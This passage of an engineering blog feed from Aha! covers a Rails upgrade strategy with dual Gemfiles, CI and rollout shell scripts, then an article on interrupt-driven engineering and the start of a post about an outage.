&lt;p&gt;Ideally, a fix can be made that will be compatible with both versions of Rails. But in many cases, it&apos;s necessary to leave a &lt;code&gt;if Rails.version &gt;= &apos;X.Y&apos;&lt;/code&gt; conditional in the code. This will need to be cleaned up after the final deployment, but it allows the application to eventually become compatible with both versions as we work through fixing all the tests.&lt;/p&gt;
&lt;h3&gt;Cache keys&lt;/h3&gt;
&lt;p&gt;Another small tip is to ensure cache keys will be invalidated between Rails versions. Simply adding the Rails version to the cache key can prevent a whole category of difficult-to-debug issues when stale data applicable only to an old Rails version is used in a newer, incompatible version upon production deployment. For example:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Rails&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.cache.fetch(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;some-key-&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;#{&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Rails&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;.version}&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  [business logic]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Running the test suite&lt;/h2&gt;
&lt;p&gt;The next challenge is running the test suite against both versions on the CI platform. There are a few considerations here:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Running the test suite for the engineer(s) working on the upgrade directly to monitor progress toward a 100% test pass rate&lt;/li&gt;
&lt;li&gt;Once 100% of tests pass, running the test suite for other team members to ensure their ongoing work isn&apos;t creating regressions&lt;/li&gt;
&lt;li&gt;Minimizing the cost impact of doubling the resources to run the test suite over a potentially long period of time&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;We must first configure our CI pipeline to run all steps with a configurable command prefix. We will then enable a separate set of jobs to run everything with this environment variable set to either &lt;code&gt;bin/next&lt;/code&gt; or an empty string for the current bundle.&lt;/p&gt;
&lt;p&gt;The next configuration is to not fail the pipeline if these tests fail while they are still being fixed. We have a &lt;code&gt;$RSPEC_NEXT_REQUIRED&lt;/code&gt; variable to control the reporting of the RSpec exit code. Initially, this is set to &lt;code&gt;0&lt;/code&gt; to prevent the pipeline from being blocked. But once the tests all pass, we flip it to &lt;code&gt;1&lt;/code&gt;. This transfers the burden of ensuring a passing test suite onto the whole team if any of its ongoing work introduces a failing test in the next Rails version. The setup looks like this:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;${CI_BUNDLE_PREFIX} rspec [...]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;rspec_status&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;$?&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; [ &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;$CI_BUNDLE_PREFIX&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;bin/next&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; ] &amp;#x26;&amp;#x26; [ &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;$RSPEC_NEXT_REQUIRED&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;0&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; ]; &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;then&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;  echo&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;Ignoring rspec exit code ${&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;rspec_status&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;} for bundle/next&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;  exit&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;fi&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;exit&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; $rspec_status&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Depending on the size of the test suite and the length of the upgrade process, it&apos;s also worth considering the additional resources and costs incurred from duplicating the test suite like this. We set up our configuration in a way that saves on costs: As long the &lt;code&gt;$RSPEC_NEXT_REQUIRED&lt;/code&gt; variable is set to false, we have an additional branch filter that will only run the &lt;code&gt;next&lt;/code&gt; jobs if the branch name matches a pattern such as &lt;code&gt;/.*rails-next.*/&lt;/code&gt;. We then remove this branch filter when we&apos;re ready to start running the tests on all branches closer to deployment.&lt;/p&gt;
&lt;h3&gt;Ensuring consistent Gemfiles&lt;/h3&gt;
&lt;p&gt;Another challenge that we run into is ensuring gems in the current Gemfile — which are updated during the deployment process — are also reflected in the next Gemfile. Because the intention is for the next Gemfile to have at least some different gem versions by nature of the upgrade, this can be difficult. There&apos;s no way to know which gems should be different and which should be consistent. Fortunately (in our case at least), our third-party dependencies do not change that frequently. So this is a small problem, but one we must still pay attention to.&lt;/p&gt;
&lt;p&gt;The first line of defense here is to continually remind other team members to reflect any changes to the current Gemfile within the next Gemfile. However, it&apos;s only natural for people to forget about this sometimes. To combat this in the most frequent gems that we update, we have the following script in our CI steps:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; git_gem_revision&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;  # This searches through the given Gemfile.lock for a `GIT` block for the given gem and extracts its revision line&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  awk&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; -v&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; GEM=&quot;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;$1&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;    $1 == &quot;GIT&quot; { git_gem = 1 }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;    $1 == &quot;GEM&quot; { git_gem = 0 }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;    git_gem &amp;#x26;&amp;#x26; $1 == &quot;remote:&quot; &amp;#x26;&amp;#x26; $2 ~ GEM&quot;.git$&quot; { found_gem = 1 }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;    found_gem &amp;#x26;&amp;#x26; $1 == &quot;revision:&quot; { print $2; exit }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;  &apos;&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;$2&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;GEMS&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;aha-services&quot;&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;calculated_attributes&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; GEM &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;${&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;GEMS&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;]}&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; [ &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;`&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;git_gem_revision&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;$GEM&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot; &quot;Gemfile.lock&quot;`&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; !=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;`&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;git_gem_revision&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;$GEM&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot; &quot;Gemfile.next.lock&quot;`&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; ]; &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;then&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    echo&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;$GEM&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; revision in Gemfile.lock does not match revision in Gemfile.next.lock. Ensure these are consistent to avoid mismatching gem versions during Rails upgrades by running &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;\&quot;&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;bin/next bundle update &lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;$GEM&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; --conservative&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;\&quot;&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    exit&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  fi&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;done&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Because our CI setup only has one set of gems installed for a specific step (either current or next), we must parse the &lt;code&gt;Gemfile.lock&lt;/code&gt; manually to get the revision for a given gem (rather than relying on &lt;code&gt;bundle&lt;/code&gt; to &lt;code&gt;gem&lt;/code&gt; to tell us what is installed, as it won&apos;t know!). In the cases above, we&apos;re only concerned with our first-party gems that are installed via Git. But this same method could be extended to gems from RubyGems as well. If an inconsistency is found between the versions in each Gemfile, the build will fail. This forces the &lt;a href=&quot;https://www.aha.io/blog/the-4-qualities-of-engineers-this-cto-loves-to-hire&quot;&gt;engineer&lt;/a&gt; to ensure the versions are consistent.&lt;/p&gt;
&lt;p&gt;As a last check, we will run &lt;code&gt;bundle list&lt;/code&gt; and &lt;code&gt;bin/next bundle list&lt;/code&gt; before the first production deployment and do a manual review to verify that the gem versions in the next bundle are the same versions or more recent. If anything got left behind, this is a good time to update it so nothing moves backward during the transition.&lt;/p&gt;
&lt;h3&gt;Manual testing&lt;/h3&gt;
&lt;p&gt;All tests pass at this point. Due to the large nature of a major Rails upgrade, we also involve our &lt;a href=&quot;https://www.aha.io/blog/sales-teams-vs-customer-success-teams&quot;&gt;Customer Success&lt;/a&gt; team in a round of manual testing of all application functionality in a staging environment. Assuming a comprehensive test suite, this should hopefully undercover few to no legitimate issues — but it is still a valuable method for catching any gaps in the test suite which should be covered regardless. Manual testing is a slow, expensive, and time-consuming process, though. So it is sometimes understandable to skip or limit this when there is also high confidence in the test suite.&lt;/p&gt;
&lt;h2&gt;Deployment&lt;/h2&gt;
&lt;p&gt;With all the testing complete, it&apos;s finally time to deploy the upgrade. We do this in two stages:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;An initial rollout limited to a subset of customers that is done outside of busy business hours and can be quickly rolled back if necessary&lt;/li&gt;
&lt;li&gt;A final rollout to all customers with &lt;code&gt;Gemfile.next.lock&lt;/code&gt; promoted to &lt;code&gt;Gemfile.lock&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;For the initial rollout, we have a second wrapper script for the &lt;code&gt;bin/next&lt;/code&gt; script called &lt;code&gt;bin/conditional_next&lt;/code&gt;. This script uses an environment variable, &lt;code&gt;$NEXT&lt;/code&gt;, to control whether to run a command with &lt;code&gt;bin/next&lt;/code&gt; or not. By setting this &lt;code&gt;$NEXT&lt;/code&gt; variable to &quot;true&quot; on a subset of servers/containers, we can do an initial phased rollout with the &lt;code&gt;next&lt;/code&gt; Gemfile. This also allows deployments of other unrelated changes to continue as normal.&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;#!/bin/bash&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; [ &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;${&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;NEXT&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;:-&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;}&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; ==&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;1&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; ]; &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;then&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;  echo&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;Running command with bin/next&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  bin/next&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt; $@&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;else&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E36209&quot;&gt;  $@&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;fi&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Getting the next Rails version into production will likely reveal any outstanding missed issues quickly. Realistically, going through this process means potentially rolling back to the existing Rails version at least once (or twice … or three times). There are many moving parts here, and even all the testing in the world won&apos;t illuminate every problem prior to the first production deploy. Even if things look stable after this deployment, we like to leave this initial rollout running for a few hours or days before doing it more widely.&lt;/p&gt;
&lt;p&gt;Once everything looks quiet and any remediation fixes have been merged, it&apos;s time to do the final merge and deploy. We do this with a simple &lt;code&gt;cp Gemfile.next.lock Gemfile.lock&lt;/code&gt; to promote the &lt;code&gt;next&lt;/code&gt; Gemfile to the main Gemfile. And with that, one more normal deployment will roll out the Rails upgrade to all production traffic. Everything will be smooth sailing given a sprinkle of good luck.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;We are bootstrapped, profitable, fully remote, and hiring. &lt;a href=&quot;https://www.aha.io/company/careers/current-openings&quot;&gt;Join our team&lt;/a&gt;.&lt;/strong&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Interrupt-driven engineering: Working on what matters at Aha!]]></title><description><![CDATA[On the Aha! team, The Responsive Method (TRM) guides our interactions with customers and one another. Responding to requests quickly and…]]></description><link>https://www.aha.io/engineering/articles/trm-for-engineers</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/trm-for-engineers</guid><dc:creator><![CDATA[Greg Brown]]></dc:creator><pubDate>Wed, 21 Aug 2024 00:00:00 GMT</pubDate><content:encoded>&lt;style&gt;
  img {
    max-height: 400px;
    margin-right: auto;
    margin-left: auto;
  }

  table, th, td {
    font-family: Red Hat Display, &quot;Helvetica Neue&quot;, Arial, &quot;Noto Sans&quot;, sans-serif;
    border: 1px solid var(--aha-gray-400);
  }

  th {
    background-color: var(--aha-gray-100);
    color: var(--aha-gray-900);
    text-align: left;
  }

  td img {
    margin: 0.5em auto !important;
  }
&lt;/style&gt;
&lt;p&gt;On the Aha! team, &lt;a href=&quot;https://www.aha.io/company/the-responsive-method&quot;&gt;The Responsive Method (TRM)&lt;/a&gt; guides our interactions with customers and one another. Responding to requests quickly and thoughtfully maximizes the &lt;a href=&quot;https://www.aha.io/blog/customer-value-vs-company-valuation&quot;&gt;value we provide to customers&lt;/a&gt; and is a key pillar of our success.&lt;/p&gt;
&lt;p&gt;Part of this responsiveness involves what we call being &lt;a href=&quot;https://www.aha.io/blog/product-managers-cherish-every-interruption&quot;&gt;&quot;interrupt-driven&quot;&lt;/a&gt;: treating interruptions as a useful stream of information rather than an unwelcome distraction — and embracing the chance to help others when their attention is on the problem at hand.&lt;/p&gt;
&lt;h3&gt;Narrow focus vs. wider impact&lt;/h3&gt;
&lt;p&gt;Some engineers are suspicious of the interrupt-driven principle at first. We&apos;re on the &lt;a href=&quot;https://paulgraham.com/makersschedule.html&quot;&gt;maker&apos;s schedule&lt;/a&gt;, and we need unbroken focus time! Being expected to respond immediately to interruptions sounds like a recipe for a scattered mind and shallow impact. And after all, isn&apos;t the job of a good manager to shield their engineers from distraction?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The problem with this is that no one can do their best, most impactful work by blocking out the outside world.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Code and other technical work are only as valuable as the problems they solve, and the worst way we can use our time is by building the perfect solution to &lt;a href=&quot;https://www.aha.io/blog/how-to-avoid-building-software-that-no-one-uses&quot;&gt;a problem nobody has&lt;/a&gt;. So it follows that we must pay attention. The best engineers embrace this truth.&lt;/p&gt;
&lt;h3&gt;It&apos;s not just engineers who do deep work&lt;/h3&gt;
&lt;p&gt;Managers also need time for deep work. The most effective engineering managers don&apos;t spend all their time shielding their teams from external requests, batting away the unimportant and bundling the critical items up for the weekly meeting. Instead, they take a bigger-picture view of the work and people involved, have a broader understanding of the technical domain, and spend plenty of time deeply focused on &lt;a href=&quot;https://www.aha.io/blog/how-can-you-expect-people-to-know-how-to-work&quot;&gt;their own work&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;Ensuring collective gain&lt;/h3&gt;
&lt;p&gt;Everyone on the team has their own areas of expertise. Sometimes, a few minutes&apos; worth of insight can save hours for a less experienced engineer or days of frustration for a customer. Does that sometimes come at a cost to the engineer&apos;s focus on their own work? Of course. But the cost varies, and so does the benefit. So &lt;a href=&quot;https://www.aha.io/blog/the-responsive-startup&quot;&gt;being interrupt-driven&lt;/a&gt; is absolutely the right approach when the collective gain outweighs the personal cost — and it frequently does!&lt;/p&gt;
&lt;h2&gt;How does being interrupt-driven work in practice?&lt;/h2&gt;
&lt;p&gt;Just like &lt;a href=&quot;https://www.aha.io/blog/why-the-best-product-managers-love-interruptions&quot;&gt;product managers&lt;/a&gt;, engineers need to think carefully about how to manage the stream of interruptions and tackle tasks that arise. So what does interrupt-driven engineering at Aha! look like?&lt;/p&gt;
&lt;h3&gt;1. Sharing the load&lt;/h3&gt;
&lt;p&gt;Because we recognize the cost of context-switching, Aha! operates an engineering support rotation. Each engineer, regardless of role, spends a week every couple of months &lt;a href=&quot;https://www.aha.io/engineering/articles/engineers-support&quot;&gt;responding to escalated tickets&lt;/a&gt; and fixing bugs. This frees up the rest of the team for deeper focus.&lt;/p&gt;
&lt;h3&gt;2. Maximizing our impact&lt;/h3&gt;
&lt;p&gt;Principal engineer &lt;a href=&quot;https://www.aha.io/blog/my-name-is-justin-weiss-this-is-what-i-achieve-at-aha&quot;&gt;Justin Weiss&lt;/a&gt;, who led development of our &lt;a href=&quot;https://www.aha.io/blog/text-editor&quot;&gt;real-time text editor&lt;/a&gt;, says this of the editor&apos;s code:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Because I was the one who knew it best, people would regularly come to me for questions about the editor. I&apos;d frequently jump on calls (some quick and some spanning hours) to help share enough of the foundation so we could arrive at the solution together.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Not every engineer has led a project like this, but every engineer spends much of their time working on features. So being interrupt-driven offers opportunities to help others who are less familiar with a specific area.&lt;/p&gt;
&lt;h3&gt;3. Understanding true urgency&lt;/h3&gt;
&lt;p&gt;Distinguishing the &lt;a href=&quot;https://en.wikipedia.org/wiki/Time_management#The_Eisenhower_Method&quot;&gt;urgent from the important&lt;/a&gt; is a critical skill to develop. For example, a colleague might ask for a review of the large pull request they&apos;ve been working on for several days. This is important work, but it&apos;ll take time to address properly. Besides this, they probably don&apos;t need it reviewed right now — so it&apos;s fine to let them know you&apos;ll finish your current task and look at it later. On the other hand, a pull request that addresses a production bug should usually be reviewed straight away.&lt;/p&gt;
&lt;p&gt;It&apos;s worth noting here that the common advice to turn off notifications optimizes your own productivity at the expense of the wider team&apos;s. Working this way takes more discipline than just blocking out the noise. But after all, meaningful work is &lt;a href=&quot;https://www.aha.io/blog/the-founders-paradox-how-to-make-difficult-work-desirable&quot;&gt;rarely easy&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;4. Focusing on customers (and teammates, by extension)&lt;/h3&gt;
&lt;p&gt;Staying aware of customer requests is a great way to help not only customers, but also teammates. A support escalation might relate to something you fixed recently, for instance. Another engineer could spend hours tracking down the root cause. But you know exactly where it is, so you can save time and frustration by simply assigning it to yourself.&lt;/p&gt;
&lt;h3&gt;5. Knowing when to say &apos;no&apos;&lt;/h3&gt;
&lt;p&gt;Being responsive is different from being reactive. It means responding thoughtfully, but not agreeing to &lt;a href=&quot;https://www.aha.io/blog/you-need-to-trash-good-product-ideas&quot;&gt;every request&lt;/a&gt;. Imagine that a customer wants a feature addition to support their specific workflow. After consulting a product manager, you respond by explaining why we don&apos;t plan to make the change, but suggest a workaround or alternative approach.&lt;/p&gt;
&lt;h2&gt;Why it matters&lt;/h2&gt;
&lt;p&gt;You&apos;ll notice a common thread here. Not everything is addressed straight away, but every request gets a prompt response. Requesters aren&apos;t left wondering, and we always choose to spend our time in a way that maximizes &lt;a href=&quot;https://www.aha.io/blog/product-managers-ready-for-value-based-product-development&quot;&gt;value&lt;/a&gt;. That sometimes means switching tasks, but only if the trade-off is worth it. Additionally, this should be of the engineer&apos;s own volition — never dictated by shifting priorities outside of their control.&lt;/p&gt;
&lt;p&gt;This means every person on the other side of the equation has a good experience. They either have their immediate needs met or gain clarity on when they can expect help. And in every case, we strive to maximize the overall value to the organization, which is a great way to build a &lt;a href=&quot;https://www.aha.io/blog/aha-surpasses-100-million-annual-recurring-revenue&quot;&gt;successful, lasting business&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Engineers (like everyone at Aha!) are encouraged to tune in to the stream of interruptions, honing the skill of picking out those where their unique skills and experience can make the biggest difference. This doesn&apos;t mean we spend all day watching Slack or that we don&apos;t have time to focus deeply on our work. It does mean we take an empathetic, pragmatic approach to choosing what we do with our time: one that maximizes our value and impact and contributes to lasting company and personal success.&lt;/p&gt;
&lt;h3&gt;Does this resonate? Join us.&lt;/h3&gt;
&lt;p&gt;If you&apos;re the sort of engineer who cares about the bigger picture, helping others, and doing high-impact work, you should consider &lt;a href=&quot;https://www.aha.io/company/team&quot;&gt;joining us&lt;/a&gt;. In a time when the tech world is as volatile as ever, we&apos;re still happy, healthy, and hiring. Check out our &lt;a href=&quot;https://www.aha.io/company/careers/current-openings&quot;&gt;open roles&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[The most important system to keep running]]></title><description><![CDATA[I heard a ring, and my heart rate spiked to 132. It was Tom Bailey, a colleague on the Product Success team. I prepared myself for a…]]></description><link>https://www.aha.io/engineering/articles/the-one-system</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/the-one-system</guid><dc:creator><![CDATA[Alex Bartlow]]></dc:creator><pubDate>Fri, 24 May 2024 00:00:00 GMT</pubDate><content:encoded>&lt;style&gt;
  img {
    max-height: 400px;
    margin-right: auto;
    margin-left: auto;
  }

  table, th, td {
    font-family: Red Hat Display, &quot;Helvetica Neue&quot;, Arial, &quot;Noto Sans&quot;, sans-serif;
    border: 1px solid var(--aha-gray-400);
  }

  th {
    background-color: var(--aha-gray-100);
    color: var(--aha-gray-900);
    text-align: left;
  }

  td img {
    margin: 0.5em auto !important;
  }
&lt;/style&gt;
&lt;p&gt;I heard a ring, and my heart rate spiked to 132. It was Tom Bailey, a colleague on the &lt;a href=&quot;https://www.aha.io/product/customer-success&quot;&gt;Product Success&lt;/a&gt; team.&lt;/p&gt;
&lt;p&gt;I prepared myself for a cheerful British voice to deliver bad news — the only reason for Tom to call me would be to get engineering&apos;s attention on a major system outage. My suspicions were confirmed, and I felt a surge of adrenaline as if a driver in front of me had stood on their brakes. My body was getting me ready to fight, but I needed to think. I started to breathe, knowing that the most important system to keep running right now was my own limbic system.&lt;/p&gt;
